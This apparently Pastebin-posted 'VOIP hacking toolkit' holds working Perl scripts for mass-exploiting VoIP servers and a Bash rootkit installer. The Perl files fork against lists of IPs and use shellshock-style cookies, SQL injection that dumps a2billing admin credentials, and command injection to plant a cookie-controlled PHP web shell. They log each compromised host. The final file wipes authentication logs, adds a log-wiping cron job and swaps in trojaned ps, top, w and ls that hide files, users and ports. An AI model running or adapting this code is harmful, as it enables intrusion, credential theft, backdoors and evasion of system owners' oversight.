Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE I ]==~.-
- use IO::Socket;
- use Parallel::ForkManager;
- use IP::Country::Fast;
- use strict;
- $|=1;
- if (!$ARGV[1]) {
- print "usage: perl autopwn.pl <infile> <outfile>\n";
- exit;
- }
- my @list = ();
- open FILE, "<" . $ARGV[0];
- print "Start: ";
- my $start = <stdin>;
- chomp($start);
- my $flag=0;
- if (index($start, "start") >= 0) {
- $flag=1;
- }
- while(<FILE>) {
- chomp;
- my $str = $_;
- if ($str =~ /$start/) {
- $flag=1;
- next;
- }
- if (!$flag) {
- next;
- }
- my @str2 = split(/\s/, $str);
- $str = $str2[0];
- if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
- next;
- }
- if (not grep /$str/, @list) {
- push(@list, $str);
- }
- }
- close FILE;
- my $pm = Parallel::ForkManager->new(20);
- my $c = 0;
- my $country;
- foreach my $sip (@list) {
- my $resp = IP::Country::Fast->new();
- $country = $resp->inet_atocc($sip);
- if (($country =~ /XX/) || ($country =~ /XX/)) {
- next;
- }
- $c++;
- if ($c >= 20) {
- print "Threads joining...\n";
- $pm->wait_all_children;
- $c=1;
- }
- my $pid = $pm->start and next;
- my $target = $sip;
- print $target."\n";
- print "EXPLOIT\n";
- if ($country eq "") {
- $country = "UNKNOWN";
- }
- system("perl idefix.pl $target $country $ARGV[1]");
- out:
- $pm->finish;
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE II ]==~.-
- #idefix remote
- use IO::Socket;
- use URL::Encode qw(url_encode);
- use LWP::Simple;
- $|=1;
- alarm(59);
- $target = $ARGV[0];
- chomp($target);
- print $target."\n";
- $php = qq{
- set_time_limit(0);
- unlink("page.framework.php");
- file_put_contents("page.framework.php", "<?php if
- (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
- die();?>");
- };
- $php =~ s/\r//gi;
- $php =~ s/\n//gi;
- sub ishacked {
- my $url = "http://$target/admin/page.framework.php";
- if (head($url)) {
- return 1;
- }
- $url = "http://$target/recordings/page.framework.php";
- if (head($url)) {
- return 2;
- }
- $url = "http://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
- if (head($url)) {
- return 3;
- }
- return 0;
- }
- $result = ishacked();
- if ($result eq 1) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- close FILE;
- exit;
- }
- if ($result eq 2) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- close FILE;
- exit;
- }
- print "EXPLOIT\n";
- $bin = qq{php -r '$php'};
- $buf = url_encode("() { :;};$bin");
- $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => 80,
- Proto => 'tcp',
- Timeout => 10);
- $payload = "username=admin&password=admin&submit=btnSubmit";
- print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
- $target\r\nCookie:
- ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
- while(<$sock>) {
- }
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => 80,
- Proto => 'tcp',
- Timeout => 10);
- print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
- $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
- close\r\n\r\n";
- $success = 0;
- while(<$sock>) {
- if ($_ =~ /SUCCESS\ SUCCESS/) {
- $success = 1;
- }
- }
- if ($success) {
- print "\n***EXPLOIT SUCCESS***\n";
- print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
- open FILE, ">>$ARGV[2]";
- if ($result eq 0) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 NEW!!)\r\n";
- }
- if ($result eq 3) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 REHACK)\r\n";
- }
- close FILE;
- exit;
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE III ]==~.-
- use IO::Socket;
- use Geo::IP::PurePerl;
- use strict;
- my $gi = Geo::IP::PurePerl->new(GEOIP_STANDARD);
- $|=1;
- if (!$ARGV[1]) {
- print "usage: perl autopwn.pl <infile> <outfile>\n";
- exit;
- }
- my @list = ();
- open FILE, "<" . $ARGV[0];
- print "Start: ";
- my $start = <stdin>;
- chomp($start);
- my $flag=0;
- if (index($start, "start") >= 0) {
- $flag=1;
- }
- while(<FILE>) {
- chomp;
- my $str = $_;
- if ($str =~ /$start/) {
- $flag=1;
- next;
- }
- if (!$flag) {
- next;
- }
- my @str2 = split(/\s/, $str);
- $str = $str2[$#str2];
- if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
- next;
- }
- if (not grep /$str/, @list) {
- push(@list, $str);
- }
- }
- close FILE;
- my $c = 0;
- my $country;
- foreach my $sip (@list) {
- $country = $gi->country_code_by_addr($sip);
- if (($country =~ /DE/) || ($country =~ /TH/)) {
- next;
- }
- my $target = $sip;
- print "EXPLOIT\n";
- if ($country eq "") {
- $country = "--";
- }
- system("perl eaglesql-helper.pl $target $country $ARGV[1]");
- out:
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE IV ]==~.-
- use IO::Socket::SSL;
- use LWP::Simple;
- use URL::Encode qw(url_encode);
- BEGIN { $| = 1 }
- alarm(100);
- $target = $ARGV[0];
- $country = $ARGV[1];
- $outfile = $ARGV[2];
- chomp($target);
- print $target."\n";
- print "EXPLOIT\n";
- $queryhex = "0x1 UNION SELECT 1 FROM cc_ui_authen;#";
- $queryhex =~ s/(.)/sprintf("%x",ord($1))/eg;
- $a = "0x" . $queryhex;
- $queryhex2 = "/etc/test";
- $queryhex2 =~ s/(.)/sprintf("%x",ord($1))/eg;
- $disclosefile = "0x" . $queryhex2;
- $query = "transactionID=-1+UNION+SELECT+9,$a,9,9,9,9,9,9,9,9,9,9,9,9,(SELECT+concat(concat(login,0x3A),pwd_encoded)+FROM+cc_ui_authen)+FROM+cc_ui_authen";
- $query2 = "transactionID=-1+UNION+SELECT+9,$a,9,9,9,9,9,9,9,9,9,9,9,9,(SELECT+concat(concat(manager_username,0x3A),manager_secret)+FROM+cc_server_manager)+FROM+cc_ui_authen";
- my $sock = IO::Socket::SSL->new(
- PeerHost => $target,
- PeerPort => "https",
- Timeout => 10,
- SSL_verify_mode => SSL_VERIFY_NONE);
- print $sock "POST /a2billing/customer/iridium_threed.php" . "
- HTTP/1.1\r\nHost: $target\r\nContent-type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($query2) .
- "\r\nConnection:close\r\n\r\n" . $query2;
- while(<$sock>) {
- if ($_ =~ /item_type=(.*):(.*?)$/) {
- $username = $1;
- $password = $2;
- $password =~ s/\r//g;
- $password =~ s/\n//g;
- close($sock);
- $payload = "input_user=$username&input_pass=$password&submit_login=Submit";
- my $sock = IO::Socket::SSL->new(
- PeerHost => $target,
- PeerPort => "https",
- SSL_verify_mode => SSL_VERIFY_NONE);
- print $sock "POST /" . " HTTP/1.1\r\nHost: $target\r\nContent-type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) . "\r\nConnection:close\r\n\r\n"
- . $payload;
- $loggedin = 0;
- $cookie = "";
- while(<$sock>) {
- if ($_ =~ /302 Found/) {
- print "SUCCESS: Logged in.\n";
- $loggedin = 1;
- }
- if ($_ =~ /(elastixSession=.*?);/) {
- $cookie = $1;
- print $cookie."\n";
- }
- }
- if ($loggedin == 0) {
- print "CANNOT LOGIN.\n";
- exit;
- }
- close($sock);
- $sock = IO::Socket::SSL->new(PeerAddr => $target,
- PeerPort => 443,
- Proto => 'tcp',
- Timeout => 60,
- SSL_verify_mode => SSL_VERIFY_NONE);
- print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
- $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
- close\r\n\r\n";
- $success = 0;
- while(<$sock>) {
- if ($_ =~ /SUCCESS\ SUCCESS/) {
- $success = 1;
- }
- }
- if ($success) {
- print "ALREADY HACKED\n";
- exit;
- }
- print "\n$target $country SUCCESS: $username:$password THE EAGLE HAS
- LANDED (SQL)\n";
- open FILE, ">>$outfile";
- print FILE "$target $country SUCCESS: $username:$password THE EAGLE
- HAS LANDED (SQL)\n";
- close FILE;
- my $sock = IO::Socket::SSL->new(
- PeerHost => $target,
- PeerPort => "https",
- Timeout => 60,
- SSL_verify_mode => SSL_VERIFY_NONE);
- $php = qq{
- set_time_limit(0);
- unlink("recordings/page.framework.php");
- file_put_contents("recordings/page.framework.php", "<?php if
- (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
- die();?>");
- };
- $php =~ s/\r//gi;
- $php =~ s/\n//gi;
- $bin = qq{php -r '$php'};
- $buf = url_encode("$bin");
- $payload =
- "action=apply_changes_UserExtension&menu=userlist&group=1&extension=baz'+/etc/services;$buf;'&description=&password1=$password&password2=$password&webmailuser=&webmaildomain=&webmailpassword1=&id_user=1&rawmode=yes";
- print $sock "POST /index.php HTTP/1.1\r\nHost:
- $target\r\nContent-type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) . "\r\nCookie: $cookie\r\nConnection:close\r\n\r\n" .
- $payload;
- while(<$sock>) {
- }
- close $sock;
- my $sock = IO::Socket::SSL->new(
- PeerHost => $target,
- PeerPort => "https",
- Timeout => 60,
- SSL_verify_mode => SSL_VERIFY_NONE);
- $php =~ s/\r//gi;
- $php =~ s/\n//gi;
- $bin = qq{php -r '$php';};
- $buf = url_encode("$bin");
- $payload = "config=Configuration&page=0&nav=bypage";
- print $sock "POST /index.php?menu=voicemail HTTP/1.1\r\nHost:
- $target\r\nContent-type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) . "\r\nCookie: $cookie\r\nConnection:close\r\n\r\n" .
- $payload;
- while(<$sock>) {
- }
- $sock = IO::Socket::SSL->new(PeerAddr => $target,
- PeerPort => 443,
- Proto => 'tcp',
- Timeout => 60,
- SSL_verify_mode => SSL_VERIFY_NONE);
- print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
- $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
- close\r\n\r\n";
- $success = 0;
- while(<$sock>) {
- if ($_ =~ /SUCCESS\ SUCCESS/) {
- $success = 1;
- }
- print;
- }
- if ($success) {
- print "\n***EXPLOIT SUCCESS***\n";
- print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1]) (EXPLOIT 2 SQL)***\n";
- open FILE, ">>$outfile";
- print FILE "$target $country SUCCESS: $username:$password THE EAGLE
- HAS LANDED (EXPLOIT 2 SQL)\n";
- close FILE;
- close($sock);
- }
- exit;
- }
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE V ]==~.-
- use IO::Socket;
- use Parallel::ForkManager;
- use IP::Country::Fast;
- use strict;
- $|=1;
- if (!$ARGV[1]) {
- print "usage: perl autopwn.pl <infile> <outfile>\n";
- exit;
- }
- my @list = ();
- open FILE, "<" . $ARGV[0];
- print "Start: ";
- my $start = <stdin>;
- chomp($start);
- my $flag=0;
- if (index($start, "start") >= 0) {
- $flag=1;
- }
- while(<FILE>) {
- chomp;
- my $str = $_;
- if ($str =~ /$start/) {
- $flag=1;
- next;
- }
- if (!$flag) {
- next;
- }
- my @str2 = split(/\s/, $str);
- $str = $str2[$#str2];
- if (not $str =~ /\d+\.\d+\.\d+\.\d+/) {
- next;
- }
- if (not grep /$str/, @list) {
- push(@list, $str);
- }
- }
- close FILE;
- my $pm = Parallel::ForkManager->new(20);
- my $c = 0;
- my $country;
- foreach my $sip (@list) {
- my $resp = IP::Country::Fast->new();
- $country = $resp->inet_atocc($sip);
- if (($country =~ /XX/) || ($country =~ /XX/)) {
- next;
- }
- $c++;
- if ($c >= 20) {
- print "Threads joining...\n";
- $pm->wait_all_children;
- $c=1;
- }
- my $pid = $pm->start and next;
- my $target = $sip;
- print $target."\n";
- print "EXPLOIT\n";
- if ($country eq "") {
- $country = "UNKNOWN";
- }
- system("perl idefix-ssl.pl $target $country $ARGV[1]");
- out:
- $pm->finish;
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE VI ]==~.-
- #idefix remote
- use IO::Socket::SSL;
- use URL::Encode qw(url_encode);
- use LWP::Simple;
- $|=1;
- alarm(59);
- $target = $ARGV[0];
- chomp($target);
- print $target."\n";
- $php = qq{
- set_time_limit(0);
- unlink("page.framework.php");
- file_put_contents("page.framework.php", "<?php if
- (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
- die();?>");
- };
- $php =~ s/\r//gi;
- $php =~ s/\n//gi;
- sub ishacked {
- my $url = "https://$target/admin/page.framework.php";
- if (head($url)) {
- return 1;
- }
- $url = "https://$target/recordings/page.framework.php";
- if (head($url)) {
- return 2;
- }
- $url = "https://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
- if (head($url)) {
- return 3;
- }
- return 0;
- }
- $result = ishacked();
- if ($result eq 1) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- close FILE;
- exit;
- }
- if ($result eq 2) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- close FILE;
- exit;
- }
- print "EXPLOIT\n";
- $bin = qq{php -r '$php';};
- $buf = url_encode("() { :;};$bin");
- $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
- $sock = IO::Socket::SSL->new(PeerAddr => $target,
- PeerPort => 443,
- Proto => 'tcp',
- Timeout => 10,
- SSL_verify_mode => SSL_VERIFY_NONE);
- $payload = "username=admin&password=admin&submit=btnSubmit";
- print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
- $target\r\nCookie:
- ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
- while(<$sock>) {
- }
- $sock = IO::Socket::SSL->new(PeerAddr => $target,
- PeerPort => 443,
- Proto => 'tcp',
- Timeout => 10,
- SSL_verify_mode => SSL_VERIFY_NONE);
- print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
- $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
- close\r\n\r\n";
- $success = 0;
- while(<$sock>) {
- if ($_ =~ /SUCCESS\ SUCCESS/) {
- $success = 1;
- }
- }
- if ($success) {
- print "\n***EXPLOIT SUCCESS***\n";
- print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
- open FILE, ">>$ARGV[2]";
- if ($result eq 0) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 NEW!!)\r\n";
- }
- if ($result eq 3) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 REHACK)\r\n";
- }
- close FILE;
- exit;
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE VII ]==~.-
- #idefix remote
- use IO::Socket;
- use URL::Encode qw(url_encode);
- use LWP::Simple;
- $|=1;
- alarm(59);
- $target = $ARGV[0];
- chomp($target);
- print $target."\n";
- $php = qq{
- set_time_limit(0);
- unlink("page.framework.php");
- file_put_contents("page.framework.php", "<?php if
- (\\\$_COOKIE[\\"lang\\"]) {system(\\\$_COOKIE[\\"lang\\"]);}
- die();?>");
- };
- $php =~ s/\r//gi;
- $php =~ s/\n//gi;
- sub ishacked {
- my $url = "http://$target/admin/page.framework.php";
- if (head($url)) {
- return 1;
- }
- $url = "http://$target/recordings/page.framework.php";
- if (head($url)) {
- return 2;
- }
- $url = "http://$target/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php";
- if (head($url)) {
- return 3;
- }
- return 0;
- }
- $result = ishacked();
- if ($result eq 1) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 1)\r\n";
- close FILE;
- exit;
- }
- if ($result eq 2) {
- print $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- open FILE, ">>$ARGV[2]";
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED (ALREADY
- HACKED, EXPLOIT 2)\r\n";
- close FILE;
- exit;
- }
- print "EXPLOIT\n";
- $bin = qq{php -r '$php'};
- $buf = url_encode("() { :;};$bin");
- $buf2 = url_encode('O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}}');
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => 80,
- Proto => 'tcp',
- Timeout => 10);
- $payload = "username=admin&password=admin&submit=btnSubmit";
- print $sock "POST /recordings/index.php? HTTP/1.1\r\nHost:
- $target\r\nCookie:
- ari_lang=$buf;ari_auth=$buf2;elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0\r\nContent-Type:
- application/x-www-form-urlencoded\r\nContent-Length: ".
- length($payload) ."\r\nConnection: close\r\n\r\n" . $payload;
- while(<$sock>) {
- }
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => 80,
- Proto => 'tcp',
- Timeout => 10);
- print $sock "GET /recordings/page.framework.php HTTP/1.1\r\nHost:
- $target\r\nCookie: lang=echo+SUCCESS+SUCCESS\r\nConnection:
- close\r\n\r\n";
- $success = 0;
- while(<$sock>) {
- if ($_ =~ /SUCCESS\ SUCCESS/) {
- $success = 1;
- }
- }
- if ($success) {
- print "\n***EXPLOIT SUCCESS***\n";
- print "\n***THE EAGLE HAS LANDED AT $target ($ARGV[1])***\n";
- open FILE, ">>$ARGV[2]";
- if ($result eq 0) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 NEW!!)\r\n";
- }
- if ($result eq 3) {
- print FILE $target . " " . $ARGV[1] . " THE EAGLE HAS LANDED
- (EXPLOIT 2 REHACK)\r\n";
- }
- close FILE;
- exit;
- }
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE VIII ]==~.-
- #!/bin/bash
- #|=-----------------------------------------------------------------------=|
- #|=-----------------------=[ Linux ROOT Hidekit ]=------------------------=|
- #|=-----------------------------------------------------------------------=|
- #|=--------------------------=[ by infamous ]=----------------------------=|
- #|=-----------------------=[ infamous@anon.rs ]=--------------------------=|
- #|=-----------------------------------------------------------------------=|
- #|=------------------=[ *******CentOS, Ubuntu******* ]=-------------------=|
- #|=-----------------------------------------------------------------------=|
- read -p "enter filename / directory name to hide from ps,ls [default:
- MAGIC9]:" HIDENAME
- if [ -z "$HIDENAME" ]; then
- HIDENAME=MAGIC9
- fi
- read -p "enter user to hide from w [default: root]:" HIDEUSER
- if [ -z "$HIDEUSER" ]; then
- HIDEUSER=root
- fi
- HIDEPORTS="if ("
- while : ; do
- read -p "enter remote port to hide from netstat or leave blank to
- continue: " HIDEPORT
- [[ -n "$HIDEPORT" ]] || break
- HIDEPORTS="${HIDEPORTS} rem_port == ${HIDEPORT} || "
- done
- HIDEPORTS="${HIDEPORTS} rem_port == -1)"
- HIDEPORTS_LOCAL="if ("
- while : ; do
- read -p "enter local port to hide from netstat or leave blank to
- continue: " HIDEPORT_LOCAL
- [[ -n "$HIDEPORT_LOCAL" ]] || break
- HIDEPORTS_LOCAL="${HIDEPORTS_LOCAL} local_port == ${HIDEPORT_LOCAL} || "
- done
- HIDEPORTS_LOCAL="${HIDEPORTS_LOCAL} local_port == -1)"
- read -p "add logcleaner crontab entry? (y/n) [default: y]" ADDCRONTAB
- if [ -z "$ADDCRONTAB" ]; then
- ADDCRONTAB=y
- fi
- if [ "$ADDCRONTAB" = "y" ] ; then
- (crontab -l 2>/dev/null; printf "0 * * * * >/var/log/wtmp\n0 * *
- * * >/var/log/btmp\n0 * * * * >/var/log/lastlog\n0 * * * *
- >/var/log/secure\n0 * * * * >/var/log/auth.log\n") | crontab -
- fi
- >/var/log/wtmp
- >/var/log/btmp
- >/var/log/lastlog
- >/var/log/secure
- >/var/log/auth.log
- if [ -f "/etc/debian_version" ]
- then
- packageman=apt-get
- else
- packageman=yum
- fi
- ${packageman} -y install make gcc wget
- mkdir /tmp/.../
- cd /tmp/.../
- wget -O /tmp/.../procps.tar.gz http://procps.sourceforge.net/procps-3.2.8.tar.gz
- rm -rf /tmp/.../procps-3.2.8/
- tar xvzf procps.tar.gz
- cd /tmp/.../procps-3.2.8/ps
- LINE1=" if (pp && pp->cmd && strstr(pp->cmd, \"${HIDENAME}\") != NULL)"
- LINE2=" if (pp && pp->cmdline && strstr(pp->cmdline, \"${HIDENAME}\") != NULL)"
- >output.c_2
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"unsigned flags;"* ]]
- then
- echo "$line" >> output.c_2
- IFS='' read -r line
- echo "$line" >> output.c_2
- if [[ $line == *"int rightward=max_rightward;"* ]]
- then
- echo "$LINE1" >> output.c_2
- echo " return 0;" >> output.c_2
- echo "$LINE2" >> output.c_2
- echo " return 0;" >> output.c_2 && continue
- fi
- fi
- echo "$line" >> output.c_2
- done < output.c
- mv -f output.c_2 output.c
- LINE1="if (buf && buf->cmd && strstr(buf->cmd, \"${HIDENAME}\") != NULL)"
- LINE2="return 0;"
- >select.c_2
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"/* elsewhere, convert T to list, U sets x
- implicitly */"* ]]
- then
- echo "$line" >> select.c_2
- echo "$LINE1" >> select.c_2
- echo "$LINE2" >> select.c_2 && continue
- fi
- echo "$line" >> select.c_2
- done < select.c
- mv -f select.c_2 select.c
- cd /tmp/.../procps-3.2.8/
- LINE1="-include proc/module.mk ps/module.mk"
- >Makefile_2
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"-include */module.mk"* ]]
- then
- echo "$LINE1" >> Makefile_2 && continue
- fi
- echo "$line" >> Makefile_2
- done < Makefile
- mv -f Makefile_2 Makefile
- LINE1=" if (this != NULL && ((this->cmdline != NULL &&
- strstr(this->cmdline, \"${HIDENAME}\") != NULL) ||"
- LINE2=" (this->cmd != NULL && strstr(this->cmd, \"${HIDENAME}\")
- != NULL)))"
- LINE3=" return;"
- >top.c_2
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"TIC_t tics;"* ]]
- then
- echo "$line" >> top.c_2
- echo "$LINE1" >> top.c_2
- echo "$LINE2" >> top.c_2
- echo "$LINE3" >> top.c_2 && continue
- fi
- echo "$line" >> top.c_2
- done < top.c
- mv -f top.c_2 top.c
- if [ -f "/etc/debian_version" ]
- then
- apt-get -y install ncurses-dev
- else
- yum -y install ncurses-devel
- fi
- >w.c_2
- LINE1="if (strstr(uname, \"${HIDEUSER}\") != NULL)"
- LINE2=" return;"
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"strncpy(uname, u->ut_user, USERSZ);"* ]]
- then
- echo "$line" >> w.c_2
- echo "$LINE1" >> w.c_2
- echo "$LINE2" >> w.c_2 && continue
- fi
- echo "$line" >> w.c_2
- done < w.c
- mv -f w.c_2 w.c
- make > f 2>&1
- if grep -q "error: redeclaration of enumerator ‘P_PID’" f
- then
- make clean
- sed -Ei 's/PID/CID/g' top.c
- sed -Ei 's/PID/CID/g' top.h
- sed -Ei 's/PROC_CID/PROC_PID/g' top.c
- sed -Ei 's/CID\"/PID\"/g' top.c
- rm -f /usr/lib/libproc-3.2.8.so
- rm -f /usr/lib64/libproc-3.2.8.so
- make > f 2>&1
- fi
- rm -f /usr/lib/libproc-3.2.8.so
- rm -f /usr/lib64/libproc-3.2.8.so
- cp -f /tmp/.../procps-3.2.8/proc/libproc-3.2.8.so /usr/lib/libproc-3.2.8.so
- cp -f /tmp/.../procps-3.2.8/proc/libproc-3.2.8.so /usr/lib64/libproc-3.2.8.so
- rm -f /bin/ps
- cp -f /tmp/.../procps-3.2.8/ps/ps /bin/ps
- rm -f /usr/bin/top
- cp -f /tmp/.../procps-3.2.8/top /usr/bin/top
- rm -f /usr/bin/w
- cp -f /tmp/.../procps-3.2.8/w /usr/bin/w
- cd /tmp/.../
- wget -O coreutils.tar.xz http://ftp.gnu.org/gnu/coreutils/coreutils-8.23.tar.xz
- rm -rf /tmp/.../coreutils-8.23/
- tar xf coreutils.tar.xz
- cd coreutils-8.23/src
- LINE1=" if (thispend->realname != NULL && strstr(thispend->realname,
- \"${HIDENAME}\") != NULL)"
- LINE2=" continue;"
- LINE3=" if (sorted_file[i] != NULL && strstr(((struct
- fileinfo*)sorted_file[i])->name, \"${HIDENAME}\") != NULL)"
- LINE4=" continue;"
- LINE5=" if (f != NULL && strstr(f->name, \"${HIDENAME}\") != NULL)"
- LINE6=" return;"
- LINE7=" if (!(f != NULL && strstr(f->name, \"${HIDENAME}\") != NULL))"
- LINE8=" {"
- LINE9=" putchar ('\n');"
- LINE10=" pos = 0;"
- LINE11=" }"
- >ls.c_2
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"unsigned flags;"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- if [[ $line == *"free_pending_ent (thispend);"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- if [[ $line == *"continue;"* ]]
- then
- IFS='' read -r line
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE1" >> ls.c_2
- echo "$LINE2" >> ls.c_2 && continue
- fi
- fi
- fi
- if [[ $line == *"for (i = cwd_n_used; i-- != 0; )"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE3" >> ls.c_2
- echo "$LINE4" >> ls.c_2 && continue
- fi
- if [[ $line == *"for (i = 0, j = 0; i < cwd_n_used; i++)"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE3" >> ls.c_2
- echo "$LINE4" >> ls.c_2 && continue
- fi
- if [[ $line == *"case long_format:"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- if [[ $line == *"for (i = 0; i < cwd_n_used; i++)"* ]]
- then
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE3" >> ls.c_2
- echo "$LINE4" >> ls.c_2 && continue
- fi
- fi
